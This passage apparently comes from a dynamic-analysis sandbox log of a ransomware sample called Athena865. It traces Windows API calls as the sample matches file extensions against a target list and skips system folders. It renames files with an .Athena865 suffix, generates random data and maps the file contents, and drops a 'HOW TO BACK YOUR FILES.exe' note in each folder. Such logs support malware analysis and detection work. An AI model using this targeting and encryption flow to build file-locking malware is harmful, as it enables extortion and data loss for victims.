(lpString="dxl") returned 3 [0093.865] lstrcmpiW (lpString1="GHT", lpString2="dxl") returned 1 [0093.865] lstrlenW (lpString="eco") returned 3 [0093.865] lstrcmpiW (lpString1="GHT", lpString2="eco") returned 1 [0093.865] lstrlenW (lpString="ecx") returned 3 [0093.865] lstrcmpiW (lpString1="GHT", lpString2="ecx") returned 1 [0093.865] lstrlenW (lpString="edb") returned 3 [0093.865] lstrcmpiW (lpString1="GHT", lpString2="edb") returned 1 [0093.865] lstrlenW (lpString="epim") returned 4 [0093.865] lstrcmpiW (lpString1="IGHT", lpString2="epim") returned 1 [0093.865] lstrlenW (lpString="fcd") returned 3 [0093.865] lstrcmpiW (lpString1="GHT", lpString2="fcd") returned 1 [0093.865] lstrlenW (lpString="fdb") returned 3 [0093.865] lstrcmpiW (lpString1="GHT", lpString2="fdb") returned 1 [0093.865] lstrlenW (lpString="fic") returned 3 [0093.865] lstrcmpiW (lpString1="GHT", lpString2="fic") returned 1 [0093.865] lstrlenW (lpString="flexolibrary") returned 12 [0093.865] lstrlenW (lpString="fm5") returned 3 [0093.865] lstrcmpiW (lpString1="GHT", lpString2="fm5") returned 1 [0093.865] lstrlenW (lpString="fmp") returned 3 [0093.865] lstrcmpiW (lpString1="GHT", lpString2="fmp") returned 1 [0093.865] lstrlenW (lpString="fmp12") returned 5 [0093.865] lstrcmpiW (lpString1="RIGHT", lpString2="fmp12") returned 1 [0093.865] lstrlenW (lpString="fmpsl") returned 5 [0093.865] lstrcmpiW (lpString1="RIGHT", lpString2="fmpsl") returned 1 [0093.865] lstrlenW (lpString="fol") returned 3 [0093.865] lstrcmpiW (lpString1="GHT", lpString2="fol") returned 1 [0093.865] lstrlenW (lpString="fp3") returned 3 [0093.865] lstrcmpiW (lpString1="GHT", lpString2="fp3") returned 1 [0093.865] lstrlenW (lpString="fp4") returned 3 [0093.865] lstrcmpiW (lpString1="GHT", lpString2="fp4") returned 1 [0093.865] lstrlenW (lpString="fp5") returned 3 [0093.866] lstrcmpiW (lpString1="GHT", lpString2="fp5") returned 1 [0093.866] lstrlenW (lpString="fp7") returned 3 [0093.866] lstrcmpiW (lpString1="GHT", lpString2="fp7") returned 1 [0093.866] lstrlenW (lpString="fpt") returned 3 [0093.866] lstrcmpiW (lpString1="GHT", lpString2="fpt") returned 1 [0093.866] lstrlenW (lpString="frm") returned 3 [0093.866] lstrcmpiW (lpString1="GHT", lpString2="frm") returned 1 [0093.866] lstrlenW (lpString="gdb") returned 3 [0093.866] lstrcmpiW (lpString1="GHT", lpString2="gdb") returned 1 [0093.866] lstrlenW (lpString="gdb") returned 3 [0093.866] lstrcmpiW (lpString1="GHT", lpString2="gdb") returned 1 [0093.866] lstrlenW (lpString="grdb") returned 4 [0093.866] lstrcmpiW (lpString1="IGHT", lpString2="grdb") returned 1 [0093.866] lstrlenW (lpString="gwi") returned 3 [0093.866] lstrcmpiW (lpString1="GHT", lpString2="gwi") returned -1 [0093.866] lstrlenW (lpString="hdb") returned 3 [0093.866] lstrcmpiW (lpString1="GHT", lpString2="hdb") returned -1 [0093.866] lstrlenW (lpString="his") returned 3 [0093.866] lstrcmpiW (lpString1="GHT", lpString2="his") returned -1 [0093.866] lstrlenW (lpString="ib") returned 2 [0093.866] lstrcmpiW (lpString1="HT", lpString2="ib") returned -1 [0093.866] lstrlenW (lpString="idb") returned 3 [0093.866] lstrcmpiW (lpString1="GHT", lpString2="idb") returned -1 [0093.866] lstrlenW (lpString="ihx") returned 3 [0093.866] lstrcmpiW (lpString1="GHT", lpString2="ihx") returned -1 [0093.866] lstrlenW (lpString="itdb") returned 4 [0093.866] lstrcmpiW (lpString1="IGHT", lpString2="itdb") returned -1 [0093.866] lstrlenW (lpString="itw") returned 3 [0093.866] lstrcmpiW (lpString1="GHT", lpString2="itw") returned -1 [0093.866] lstrlenW (lpString="jet") returned 3 [0093.866] lstrcmpiW (lpString1="GHT", lpString2="jet") returned -1 [0093.866] lstrlenW (lpString="jtx") returned 3 [0093.867] lstrcmpiW (lpString1="GHT", lpString2="jtx") returned -1 [0093.867] lstrlenW (lpString="kdb") returned 3 [0093.867] lstrcmpiW (lpString1="GHT", lpString2="kdb") returned -1 [0093.867] lstrlenW (lpString="kexi") returned 4 [0093.867] lstrcmpiW (lpString1="IGHT", lpString2="kexi") returned -1 [0093.867] lstrlenW (lpString="kexic") returned 5 [0093.867] lstrcmpiW (lpString1="RIGHT", lpString2="kexic") returned 1 [0093.867] lstrlenW (lpString="kexis") returned 5 [0093.867] lstrcmpiW (lpString1="RIGHT", lpString2="kexis") returned 1 [0093.867] lstrlenW (lpString="lgc") returned 3 [0093.867] lstrcmpiW (lpString1="GHT", lpString2="lgc") returned -1 [0093.867] lstrlenW (lpString="lwx") returned 3 [0093.867] lstrcmpiW (lpString1="GHT", lpString2="lwx") returned -1 [0093.867] lstrlenW (lpString="maf") returned 3 [0093.867] lstrcmpiW (lpString1="GHT", lpString2="maf") returned -1 [0093.867] lstrlenW (lpString="maq") returned 3 [0093.867] lstrcmpiW (lpString1="GHT", lpString2="maq") returned -1 [0093.867] lstrlenW (lpString="mar") returned 3 [0093.867] lstrcmpiW (lpString1="GHT", lpString2="mar") returned -1 [0093.867] lstrlenW (lpString="marshal") returned 7 [0093.867] lstrcmpiW (lpString1="PYRIGHT", lpString2="marshal") returned 1 [0093.867] lstrlenW (lpString="mas") returned 3 [0093.867] lstrcmpiW (lpString1="GHT", lpString2="mas") returned -1 [0093.867] lstrlenW (lpString="mav") returned 3 [0093.867] lstrcmpiW (lpString1="GHT", lpString2="mav") returned -1 [0093.867] lstrlenW (lpString="maw") returned 3 [0093.867] lstrcmpiW (lpString1="GHT", lpString2="maw") returned -1 [0093.867] lstrlenW (lpString="mdbhtml") returned 7 [0093.867] lstrcmpiW (lpString1="PYRIGHT", lpString2="mdbhtml") returned 1 [0093.867] lstrlenW (lpString="mdn") returned 3 [0093.867] lstrcmpiW (lpString1="GHT", lpString2="mdn") returned -1 [0093.868] lstrlenW (lpString="mdt") returned 3 [0093.868] lstrcmpiW (lpString1="GHT", lpString2="mdt") returned -1 [0093.868] lstrlenW (lpString="mfd") returned 3 [0093.868] lstrcmpiW (lpString1="GHT", lpString2="mfd") returned -1 [0093.868] lstrlenW (lpString="mpd") returned 3 [0093.868] lstrcmpiW (lpString1="GHT", lpString2="mpd") returned -1 [0093.868] lstrlenW (lpString="mrg") returned 3 [0093.868] lstrcmpiW (lpString1="GHT", lpString2="mrg") returned -1 [0093.868] lstrlenW (lpString="mud") returned 3 [0093.868] lstrcmpiW (lpString1="GHT", lpString2="mud") returned -1 [0093.868] lstrlenW (lpString="mwb") returned 3 [0093.868] lstrcmpiW (lpString1="GHT", lpString2="mwb") returned -1 [0093.868] lstrlenW (lpString="myd") returned 3 [0093.868] lstrcmpiW (lpString1="GHT", lpString2="myd") returned -1 [0093.868] lstrlenW (lpString="ndf") returned 3 [0093.868] lstrcmpiW (lpString1="GHT", lpString2="ndf") returned -1 [0093.868] lstrlenW (lpString="nnt") returned 3 [0093.868] lstrcmpiW (lpString1="GHT", lpString2="nnt") returned -1 [0093.868] lstrlenW (lpString="nrmlib") returned 6 [0093.868] lstrcmpiW (lpString1="YRIGHT", lpString2="nrmlib") returned 1 [0093.868] lstrlenW (lpString="ns2") returned 3 [0093.868] lstrcmpiW (lpString1="GHT", lpString2="ns2") returned -1 [0093.868] lstrlenW (lpString="ns3") returned 3 [0093.868] lstrcmpiW (lpString1="GHT", lpString2="ns3") returned -1 [0093.868] lstrlenW (lpString="ns4") returned 3 [0093.868] lstrcmpiW (lpString1="GHT", lpString2="ns4") returned -1 [0093.868] lstrlenW (lpString="nsf") returned 3 [0093.868] lstrcmpiW (lpString1="GHT", lpString2="nsf") returned -1 [0093.868] lstrlenW (lpString="nv") returned 2 [0093.868] lstrcmpiW (lpString1="HT", lpString2="nv") returned -1 [0093.868] lstrlenW (lpString="nv2") returned 3 [0093.869] lstrcmpiW (lpString1="GHT", lpString2="nv2") returned -1 [0093.869] lstrlenW (lpString="nwdb") returned 4 [0093.869] lstrcmpiW (lpString1="IGHT", lpString2="nwdb") returned -1 [0093.869] lstrlenW (lpString="nyf") returned 3 [0093.869] lstrcmpiW (lpString1="GHT", lpString2="nyf") returned -1 [0093.869] lstrlenW (lpString="odb") returned 3 [0093.869] lstrcmpiW (lpString1="GHT", lpString2="odb") returned -1 [0093.869] lstrlenW (lpString="odb") returned 3 [0093.869] lstrcmpiW (lpString1="GHT", lpString2="odb") returned -1 [0093.869] lstrlenW (lpString="oqy") returned 3 [0093.869] lstrcmpiW (lpString1="GHT", lpString2="oqy") returned -1 [0093.869] lstrlenW (lpString="ora") returned 3 [0093.869] lstrcmpiW (lpString1="GHT", lpString2="ora") returned -1 [0093.869] lstrlenW (lpString="orx") returned 3 [0093.869] lstrcmpiW (lpString1="GHT", lpString2="orx") returned -1 [0093.869] lstrlenW (lpString="owc") returned 3 [0093.869] lstrcmpiW (lpString1="GHT", lpString2="owc") returned -1 [0093.869] lstrlenW (lpString="p96") returned 3 [0093.869] lstrcmpiW (lpString1="GHT", lpString2="p96") returned -1 [0093.869] lstrlenW (lpString="p97") returned 3 [0093.869] lstrcmpiW (lpString1="GHT", lpString2="p97") returned -1 [0093.869] lstrlenW (lpString="pan") returned 3 [0093.869] lstrcmpiW (lpString1="GHT", lpString2="pan") returned -1 [0093.869] lstrlenW (lpString="pdb") returned 3 [0093.869] lstrcmpiW (lpString1="GHT", lpString2="pdb") returned -1 [0093.869] lstrlenW (lpString="pdm") returned 3 [0093.869] lstrcmpiW (lpString1="GHT", lpString2="pdm") returned -1 [0093.869] lstrlenW (lpString="pnz") returned 3 [0093.869] lstrcmpiW (lpString1="GHT", lpString2="pnz") returned -1 [0093.869] lstrlenW (lpString="qry") returned 3 [0093.869] lstrcmpiW (lpString1="GHT", lpString2="qry") returned -1 [0093.869] lstrlenW (lpString="qvd") returned 3 [0093.869] lstrcmpiW (lpString1="GHT", lpString2="qvd") returned -1 [0093.870] lstrlenW (lpString="rbf") returned 3 [0093.870] lstrcmpiW (lpString1="GHT", lpString2="rbf") returned -1 [0093.870] lstrlenW (lpString="rctd") returned 4 [0093.870] lstrcmpiW (lpString1="IGHT", lpString2="rctd") returned -1 [0093.870] lstrlenW (lpString="rod") returned 3 [0093.870] lstrcmpiW (lpString1="GHT", lpString2="rod") returned -1 [0093.870] lstrlenW (lpString="rodx") returned 4 [0093.870] lstrcmpiW (lpString1="IGHT", lpString2="rodx") returned -1 [0093.870] lstrlenW (lpString="rpd") returned 3 [0093.870] lstrcmpiW (lpString1="GHT", lpString2="rpd") returned -1 [0093.870] lstrlenW (lpString="rsd") returned 3 [0093.870] lstrcmpiW (lpString1="GHT", lpString2="rsd") returned -1 [0093.870] lstrlenW (lpString="sas7bdat") returned 8 [0093.870] lstrcmpiW (lpString1="OPYRIGHT", lpString2="sas7bdat") returned -1 [0093.870] lstrlenW (lpString="sbf") returned 3 [0093.870] lstrcmpiW (lpString1="GHT", lpString2="sbf") returned -1 [0093.870] lstrlenW (lpString="scx") returned 3 [0093.870] lstrcmpiW (lpString1="GHT", lpString2="scx") returned -1 [0093.870] lstrlenW (lpString="sdb") returned 3 [0093.870] lstrcmpiW (lpString1="GHT", lpString2="sdb") returned -1 [0093.870] lstrlenW (lpString="sdc") returned 3 [0093.870] lstrcmpiW (lpString1="GHT", lpString2="sdc") returned -1 [0093.870] lstrlenW (lpString="sdf") returned 3 [0093.870] lstrcmpiW (lpString1="GHT", lpString2="sdf") returned -1 [0093.870] lstrlenW (lpString="sis") returned 3 [0093.870] lstrcmpiW (lpString1="GHT", lpString2="sis") returned -1 [0093.870] lstrlenW (lpString="spq") returned 3 [0093.870] lstrcmpiW (lpString1="GHT", lpString2="spq") returned -1 [0093.870] lstrlenW (lpString="te") returned 2 [0093.870] lstrcmpiW (lpString1="HT", lpString2="te") returned -1 [0093.870] lstrlenW (lpString="teacher") returned 7 [0093.870] lstrcmpiW (lpString1="PYRIGHT", lpString2="teacher") returned -1 [0093.870] lstrlenW (lpString="tmd") returned 3 [0093.871] lstrcmpiW (lpString1="GHT", lpString2="tmd") returned -1 [0093.871] lstrlenW (lpString="tps") returned 3 [0093.871] lstrcmpiW (lpString1="GHT", lpString2="tps") returned -1 [0093.871] lstrlenW (lpString="trc") returned 3 [0093.871] lstrcmpiW (lpString1="GHT", lpString2="trc") returned -1 [0093.871] lstrlenW (lpString="trc") returned 3 [0093.871] lstrcmpiW (lpString1="GHT", lpString2="trc") returned -1 [0093.871] lstrlenW (lpString="trm") returned 3 [0093.871] lstrcmpiW (lpString1="GHT", lpString2="trm") returned -1 [0093.871] lstrlenW (lpString="udb") returned 3 [0093.871] lstrcmpiW (lpString1="GHT", lpString2="udb") returned -1 [0093.871] lstrlenW (lpString="udl") returned 3 [0093.871] lstrcmpiW (lpString1="GHT", lpString2="udl") returned -1 [0093.871] lstrlenW (lpString="usr") returned 3 [0093.871] lstrcmpiW (lpString1="GHT", lpString2="usr") returned -1 [0093.871] lstrlenW (lpString="v12") returned 3 [0093.871] lstrcmpiW (lpString1="GHT", lpString2="v12") returned -1 [0093.871] lstrlenW (lpString="vis") returned 3 [0093.871] lstrcmpiW (lpString1="GHT", lpString2="vis") returned -1 [0093.871] lstrlenW (lpString="vpd") returned 3 [0093.871] lstrcmpiW (lpString1="GHT", lpString2="vpd") returned -1 [0093.871] lstrlenW (lpString="vvv") returned 3 [0093.871] lstrcmpiW (lpString1="GHT", lpString2="vvv") returned -1 [0093.871] lstrlenW (lpString="wdb") returned 3 [0093.871] lstrcmpiW (lpString1="GHT", lpString2="wdb") returned -1 [0093.871] lstrlenW (lpString="wmdb") returned 4 [0093.871] lstrcmpiW (lpString1="IGHT", lpString2="wmdb") returned -1 [0093.871] lstrlenW (lpString="wrk") returned 3 [0093.871] lstrcmpiW (lpString1="GHT", lpString2="wrk") returned -1 [0093.871] lstrlenW (lpString="xdb") returned 3 [0093.871] lstrcmpiW (lpString1="GHT", lpString2="xdb") returned -1 [0093.871] lstrlenW (lpString="xld") returned 3 [0093.871] lstrcmpiW (lpString1="GHT", lpString2="xld") returned -1 [0093.871] lstrlenW (lpString="xmlff") returned 5 [0093.872] lstrcmpiW (lpString1="RIGHT", lpString2="xmlff") returned -1 [0093.872] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT.Athena865") returned 52 [0093.872] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" (normalized: "c:\\program files (x86)\\java\\jre7\\copyright"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT.Athena865" (normalized: "c:\\program files (x86)\\java\\jre7\\copyright.athena865"), dwFlags=0x1) returned 1 [0093.872] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT.Athena865" (normalized: "c:\\program files (x86)\\java\\jre7\\copyright.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0093.872] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3409) returned 1 [0093.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0093.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0093.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0093.873] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0093.874] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0093.874] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.874] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1060, lpName=0x0) returned 0x154 [0093.879] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1060) returned 0x100000 [0093.880] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0093.881] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0093.881] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0093.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0093.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0093.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0093.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0093.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0093.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0093.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0093.881] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0093.882] CloseHandle (hObject=0x154) returned 1 [0093.882] CloseHandle (hObject=0x17c) returned 1 [0093.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0093.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0093.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0093.882] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c2ae0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc11c2ae0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0093.882] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0093.882] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7572f9a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lib", cAlternateFileName="")) returned 1 [0093.882] lstrcmpiW (lpString1="lib", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0093.882] lstrcmpiW (lpString1="lib", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0093.882] lstrcmpiW (lpString1="lib", lpString2=".") returned 1 [0093.882] lstrcmpiW (lpString1="lib", lpString2="..") returned 1 [0093.882] lstrcmpiW (lpString1="lib", lpString2="windows") returned -1 [0093.882] lstrcmpiW (lpString1="lib", lpString2="bootmgr") returned 1 [0093.882] lstrcmpiW (lpString1="lib", lpString2="temp") returned -1 [0093.882] lstrcmpiW (lpString1="lib", lpString2="pagefile.sys") returned -1 [0093.882] lstrcmpiW (lpString1="lib", lpString2="boot") returned 1 [0093.882] lstrcmpiW (lpString1="lib", lpString2="ids.txt") returned 1 [0093.882] lstrcmpiW (lpString1="lib", lpString2="ntuser.dat") returned -1 [0093.882] lstrcmpiW (lpString1="lib", lpString2="perflogs") returned -1 [0093.882] lstrcmpiW (lpString1="lib", lpString2="MSBuild") returned -1 [0093.883] lstrlenW (lpString="lib") returned 3 [0093.883] lstrcpyW (in: lpString1=0x241e88a, lpString2="lib" | out: lpString1="lib") returned="lib" [0093.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c560 [0093.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4a) returned 0x515d98 [0093.883] lstrcatW (in: lpString1="lib", lpString2="\\" | out: lpString1="lib\\") returned="lib\\" [0093.883] lstrcatW (in: lpString1="lib\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="lib\\HOW TO BACK YOUR FILES.exe") returned="lib\\HOW TO BACK YOUR FILES.exe" [0093.883] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\how to back your files.exe"), bFailIfExists=1) returned 1 [0093.886] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7438c420, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7438c420, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0093.886] lstrcmpiW (lpString1="LICENSE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0093.887] lstrcmpiW (lpString1="LICENSE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0093.887] lstrcmpiW (lpString1="LICENSE", lpString2=".") returned 1 [0093.887] lstrcmpiW (lpString1="LICENSE", lpString2="..") returned 1 [0093.887] lstrcmpiW (lpString1="LICENSE", lpString2="windows") returned -1 [0093.887] lstrcmpiW (lpString1="LICENSE", lpString2="bootmgr") returned 1 [0093.887] lstrcmpiW (lpString1="LICENSE", lpString2="temp") returned -1 [0093.887] lstrcmpiW (lpString1="LICENSE", lpString2="pagefile.sys") returned -1 [0093.887] lstrcmpiW (lpString1="LICENSE", lpString2="boot") returned 1 [0093.887] lstrcmpiW (lpString1="LICENSE", lpString2="ids.txt") returned 1 [0093.887] lstrcmpiW (lpString1="LICENSE", lpString2="ntuser.dat") returned -1 [0093.887] lstrcmpiW (lpString1="LICENSE", lpString2="perflogs") returned -1 [0093.887] lstrcmpiW (lpString1="LICENSE", lpString2="MSBuild") returned -1 [0093.887] lstrlenW (lpString="LICENSE") returned 7 [0093.887] lstrcpyW (in: lpString1=0x241e88a, lpString2="LICENSE" | out: lpString1="LICENSE") returned="LICENSE" [0093.887] lstrlenW (lpString="LICENSE") returned 7 [0093.887] lstrlenW (lpString="Athena865") returned 9 [0093.887] lstrlenW (lpString=".dll") returned 4 [0093.887] lstrcmpiW (lpString1="LICENSE", lpString2=".dll") returned 1 [0093.887] lstrlenW (lpString=".lnk") returned 4 [0093.887] lstrcmpiW (lpString1="LICENSE", lpString2=".lnk") returned 1 [0093.887] lstrlenW (lpString=".ini") returned 4 [0093.887] lstrcmpiW (lpString1="LICENSE", lpString2=".ini") returned 1 [0093.887] lstrlenW (lpString=".sys") returned 4 [0093.887] lstrcmpiW (lpString1="LICENSE", lpString2=".sys") returned 1 [0093.887] lstrlenW (lpString="LICENSE") returned 7 [0093.887] lstrlenW (lpString="bak") returned 3 [0093.887] lstrcmpiW (lpString1="NSE", lpString2="bak") returned 1 [0093.887] lstrlenW (lpString="ba_") returned 3 [0093.887] lstrcmpiW (lpString1="NSE", lpString2="ba_") returned 1 [0093.887] lstrlenW (lpString="dbb") returned 3 [0093.887] lstrcmpiW (lpString1="NSE", lpString2="dbb") returned 1 [0093.887] lstrlenW (lpString="vmdk") returned 4 [0093.888] lstrcmpiW (lpString1="ENSE", lpString2="vmdk") returned -1 [0093.888] lstrlenW (lpString="rar") returned 3 [0093.888] lstrcmpiW (lpString1="NSE", lpString2="rar") returned -1 [0093.888] lstrlenW (lpString="zip") returned 3 [0093.888] lstrcmpiW (lpString1="NSE", lpString2="zip") returned -1 [0093.888] lstrlenW (lpString="tgz") returned 3 [0093.888] lstrcmpiW (lpString1="NSE", lpString2="tgz") returned -1 [0093.888] lstrlenW (lpString="vbox") returned 4 [0093.888] lstrcmpiW (lpString1="ENSE", lpString2="vbox") returned -1 [0093.888] lstrlenW (lpString="vdi") returned 3 [0093.888] lstrcmpiW (lpString1="NSE", lpString2="vdi") returned -1 [0093.888] lstrlenW (lpString="vhd") returned 3 [0093.888] lstrcmpiW (lpString1="NSE", lpString2="vhd") returned -1 [0093.888] lstrlenW (lpString="vhdx") returned 4 [0093.888] lstrcmpiW (lpString1="ENSE", lpString2="vhdx") returned -1 [0093.888] lstrlenW (lpString="avhd") returned 4 [0093.888] lstrcmpiW (lpString1="ENSE", lpString2="avhd") returned 1 [0093.888] lstrlenW (lpString="db") returned 2 [0093.888] lstrcmpiW (lpString1="SE", lpString2="db") returned 1 [0093.888] lstrlenW (lpString="db2") returned 3 [0093.888] lstrcmpiW (lpString1="NSE", lpString2="db2") returned 1 [0093.888] lstrlenW (lpString="db3") returned 3 [0093.888] lstrcmpiW (lpString1="NSE", lpString2="db3") returned 1 [0093.888] lstrlenW (lpString="dbf") returned 3 [0093.888] lstrcmpiW (lpString1="NSE", lpString2="dbf") returned 1 [0093.888] lstrlenW (lpString="mdf") returned 3 [0093.888] lstrcmpiW (lpString1="NSE", lpString2="mdf") returned 1 [0093.888] lstrlenW (lpString="mdb") returned 3 [0093.888] lstrcmpiW (lpString1="NSE", lpString2="mdb") returned 1 [0093.888] lstrlenW (lpString="sql") returned 3 [0093.888] lstrcmpiW (lpString1="NSE", lpString2="sql") returned -1 [0093.888] lstrlenW (lpString="sqlite") returned 6 [0093.889] lstrcmpiW (lpString1="ICENSE", lpString2="sqlite") returned -1 [0093.889] lstrlenW (lpString="sqlite3") returned 7 [0093.889] lstrlenW (lpString="sqlitedb") returned 8 [0093.889] lstrlenW (lpString="xml") returned 3 [0093.889] lstrcmpiW (lpString1="NSE", lpString2="xml") returned -1 [0093.889] lstrlenW (lpString="$er") returned 3 [0093.889] lstrcmpiW (lpString1="NSE", lpString2="$er") returned 1 [0093.889] lstrlenW (lpString="4dd") returned 3 [0093.889] lstrcmpiW (lpString1="NSE", lpString2="4dd") returned 1 [0093.889] lstrlenW (lpString="4dl") returned 3 [0093.889] lstrcmpiW (lpString1="NSE", lpString2="4dl") returned 1 [0093.889] lstrlenW (lpString="^^^") returned 3 [0093.889] lstrcmpiW (lpString1="NSE", lpString2="^^^") returned 1 [0093.889] lstrlenW (lpString="abs") returned 3 [0093.889] lstrcmpiW (lpString1="NSE", lpString2="abs") returned 1 [0093.889] lstrlenW (lpString="abx") returned 3 [0093.889] lstrcmpiW (lpString1="NSE", lpString2="abx") returned 1 [0093.889] lstrlenW (lpString="accdb") returned 5 [0093.889] lstrcmpiW (lpString1="CENSE", lpString2="accdb") returned 1 [0093.889] lstrlenW (lpString="accdc") returned 5 [0093.889] lstrcmpiW (lpString1="CENSE", lpString2="accdc") returned 1 [0093.889] lstrlenW (lpString="accde") returned 5 [0093.889] lstrcmpiW (lpString1="CENSE", lpString2="accde") returned 1 [0093.889] lstrlenW (lpString="accdr") returned 5 [0093.889] lstrcmpiW (lpString1="CENSE", lpString2="accdr") returned 1 [0093.889] lstrlenW (lpString="accdt") returned 5 [0093.889] lstrcmpiW (lpString1="CENSE", lpString2="accdt") returned 1 [0093.889] lstrlenW (lpString="accdw") returned 5 [0093.889] lstrcmpiW (lpString1="CENSE", lpString2="accdw") returned 1 [0093.889] lstrlenW (lpString="accft") returned 5 [0093.889] lstrcmpiW (lpString1="CENSE", lpString2="accft") returned 1 [0093.889] lstrlenW (lpString="adb") returned 3 [0093.889] lstrcmpiW (lpString1="NSE", lpString2="adb") returned 1 [0093.890] lstrlenW (lpString="adb") returned 3 [0093.890] lstrcmpiW (lpString1="NSE", lpString2="adb") returned 1 [0093.890] lstrlenW (lpString="ade") returned 3 [0093.890] lstrcmpiW (lpString1="NSE", lpString2="ade") returned 1 [0093.890] lstrlenW (lpString="adf") returned 3 [0093.890] lstrcmpiW (lpString1="NSE", lpString2="adf") returned 1 [0093.890] 